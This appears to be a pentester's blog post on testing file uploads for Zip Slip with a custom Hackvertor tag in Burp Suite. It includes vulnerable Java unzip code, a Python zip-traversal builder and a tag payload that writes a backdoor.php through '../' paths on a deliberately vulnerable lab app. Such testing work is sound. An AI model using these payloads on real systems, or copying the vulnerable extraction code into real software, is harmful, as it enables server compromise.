Custom Tags are one of Hackvertor's most powerful features. They allow you to run Python, Java, or JavaScript with a one-liner inside any Burp request. In this blog post, we will discuss performing Zip Slip testing with a custom Hackvertor tag.

File Uploads and Zip Slip

In 2018, Snyk published comprehensive research on Zip Slip attacks:

card-image

Snyk: Zip Slip Vulnerability

Zip Slip is a widespread arbitrary file overwrite critical vulnerability, which typically results in remote command execution. It was discovered ...


The core idea is that the attacker introduces a directory traversal payload into a zip file such that when the file is unzipped, it performs an arbitrary overwrite.

For example, imagine we have a File Upload in a web application that takes in a zip (or .docx) file. We create a filename inside the zip file that includes an overwrite of the web root:

 ../../../../../../../../var/www/backdoor.php

When the file is unzipped on the server, we get arbitrary file write.

It’s quite easy as a developer to shoot yourself in the foot when parsing a zip file. Although the following Java code looks sane, it is vulnerable to directory traversal on Line 4:

Enumeration entries = zip.getEntries(); 
 while (entries.hasMoreElements()) { 
 ZipEntry e = entries.nextElement(); 
 File f = new File(destinationDir, e.getName()); 
 InputStream input = zip.getInputStream(e); 
 IOUtils.copy(input, write(f)); 
}

When penetration testing against a web application, Zip Slip exploits can be cumbersome. Unless you have a preset build of zip files, you often need to build a file from the CLI or land into the correct directory in one shot. However, the Python code to build an individual malicious zip file is quite simple:

import io
import zipfile

zip_buffer = io.BytesIO()

trav = "../"*count
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
 zip_file.writestr(trav+filename, content)

output = zip_buffer.getvalue()

# We can comment this part out in Hackvertor
with open('output.zip', 'wb') as f:
 f.write(output)

This makes it a perfect candidate for Hackvertor custom payloads. For example, I use the following custom tag for Zip Slip testing. It’s built off of the code above:

Custom Hackvertor Tag - Zip Slip


The variables in this tag are:

  • input
    • This is hardcoded by Hackvertor. We will use it to write the directory and file name.
  • Argument1
    • content is going to be the contents of the file to write (i.e. the backdoor).
  • Argument2
    • count is going to be the number of directories to traverse.
icon-bell:

Hackvertor always uses the variable output for it’s return value.

Testing Our Custom Tag

The following GitHub repository holds a web application that is intentionally vulnerable to ZipSlip exploits:

card-image

Intentionally Vulnerable Zip Slip Application

Intentionally Vulnerable Zip Slip Application


After building the Docker container and setting up the server, we can intercept a file upload request:

Ouch! What a mess to look at. Let’s simplify this request by deleting the contents of the zip file and replacing it with our custom tag:

<@_zipslip('exploit code here',10,'4dbd9e1c23f789d531c8516bde226568')>backdoor.php<@/_zipslip>


This is much better. The custom tag builds a fully valid ZIP file, including the directory traversals, before uploading to the server, and our backdoor is created.

In the real world, I often need to send this to Intruder to fuzz the correct directory to land in:

icon-alert-triangle:

The nonce (4dbd9e1c23f789d531c8516bde226568) will be specific to your instance of BurpSuite (’Hackvertor tab > Custom Tag’ to find the nonce). This is a security feature of Hackvertor that prevents malicious tags.


One last point: always check the Hackvertor tab for any request before sending it. For example, the screenshot below is of the Hackvertor tab inside a Repeater request. The Hackvertor tab shows us exactly what the server will see, including our valid zip file in this case: